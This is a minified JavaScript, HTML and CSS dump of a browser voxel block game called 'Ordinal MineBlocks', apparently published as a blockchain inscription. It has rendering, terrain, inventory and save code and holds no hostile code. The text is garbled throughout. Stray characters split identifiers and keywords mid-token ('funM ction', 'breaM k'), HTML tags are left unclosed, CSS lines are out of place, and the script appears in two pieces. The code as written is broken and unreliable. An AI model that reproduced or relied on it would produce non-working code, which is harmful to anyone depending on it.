 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
